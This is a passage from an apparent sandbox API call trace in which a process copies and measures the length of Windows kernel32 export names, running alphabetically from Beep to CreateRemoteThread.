lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0111.600] lstrlenA (lpString="BEEP") returned 4 [0111.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0111.600] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0111.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0111.600] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0111.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0111.600] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0111.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0111.600] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0111.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0111.600] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0111.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0111.600] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0111.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0111.600] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0111.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0111.600] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0111.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0111.601] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0111.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0111.601] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0111.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0111.601] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0111.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0111.601] lstrlenA (lpString="CANCELIO") returned 8 [0111.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0111.601] lstrlenA (lpString="CANCELIOEX") returned 10 [0111.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0111.601] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0111.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0111.601] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0111.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0111.601] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0111.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0111.601] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0111.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0111.601] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0111.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0111.601] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0111.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0111.601] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0111.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0111.601] lstrlenA (lpString="CHECKELEVATION") returned 14 [0111.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0111.601] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0111.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0111.601] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0111.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0111.602] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0111.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0111.602] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0111.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0111.602] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0111.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0111.602] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0111.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0111.602] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0111.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0111.602] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0111.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0111.602] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0111.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0111.602] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0111.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0111.602] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0111.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0111.602] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0111.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0111.602] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0111.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0111.602] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0111.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0111.602] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0111.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0111.602] lstrlenA (lpString="CLOSESTATE") returned 10 [0111.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0111.602] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0111.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0111.603] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0111.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0111.604] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0111.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0111.604] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0111.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0111.604] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0111.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0111.604] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0111.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0111.604] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0111.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0111.604] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0111.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0111.604] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0111.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0111.604] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0111.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0111.604] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0111.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0111.604] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0111.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0111.604] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0111.604] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0111.604] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0111.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0111.605] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0111.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0111.605] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0111.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0111.605] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0111.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0111.605] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0111.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0111.605] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0111.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0111.605] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0111.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0111.605] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0111.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0111.605] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0111.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0111.605] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0111.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0111.605] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0111.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0111.605] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0111.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0111.605] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0111.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0111.605] lstrlenA (lpString="COPYCONTEXT") returned 11 [0111.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0111.605] lstrlenA (lpString="COPYFILE2") returned 9 [0111.606] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0111.606] lstrlenA (lpString="COPYFILEA") returned 9 [0111.606] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0111.606] lstrlenA (lpString="COPYFILEEXA") returned 11 [0111.606] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0111.606] lstrlenA (lpString="COPYFILEEXW") returned 11 [0111.606] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0111.606] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0111.606] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0111.606] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0111.606] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0111.606] lstrlenA (lpString="COPYFILEW") returned 9 [0111.606] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0111.606] lstrlenA (lpString="COPYLZFILE") returned 10 [0111.606] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0111.606] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0111.606] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0111.606] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0111.606] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0111.606] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0111.606] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0111.606] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0111.606] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0111.606] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0111.606] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0111.606] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0111.606] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0111.606] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0111.606] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0111.606] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0111.606] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0111.606] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0111.607] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0111.607] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0111.607] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0111.607] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0111.607] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0111.607] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0111.607] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0111.607] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0111.607] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0111.607] lstrlenA (lpString="CREATEEVENTA") returned 12 [0111.607] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0111.607] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0111.607] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0111.607] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0111.607] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0111.607] lstrlenA (lpString="CREATEEVENTW") returned 12 [0111.607] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0111.607] lstrlenA (lpString="CREATEFIBER") returned 11 [0111.607] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0111.607] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0111.607] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0111.607] lstrlenA (lpString="CREATEFILE2") returned 11 [0111.607] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0111.607] lstrlenA (lpString="CREATEFILEA") returned 11 [0111.607] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0111.607] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0111.607] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0111.607] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0111.607] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0111.607] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0111.607] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0111.607] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0111.608] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0111.608] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0111.608] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0111.608] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0111.608] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0111.608] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0111.608] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0111.608] lstrlenA (lpString="CREATEFILEW") returned 11 [0111.608] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0111.608] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0111.608] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0111.608] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0111.608] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0111.608] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0111.608] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0111.608] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0111.608] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0111.608] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0111.608] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0111.608] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0111.608] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0111.608] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0111.608] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0111.608] lstrlenA (lpString="CREATEJOBSET") returned 12 [0111.608] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0111.608] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0111.608] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0111.608] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0111.608] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0111.608] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0111.608] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0111.608] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0111.608] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0111.609] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0111.609] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0111.609] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0111.609] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0111.609] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0111.609] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0111.609] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0111.609] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0111.609] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0111.609] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0111.609] lstrlenA (lpString="CREATEPIPE") returned 10 [0111.609] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0111.609] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0111.609] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0111.609] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0111.609] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0111.609] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0111.609] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0111.609] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0111.609] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0111.609] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0111.609] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0111.609] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0111.609] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0111.609] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0111.609] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0111.609] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0111.609] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0111.609] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0111.609] lstrcpyA (in: 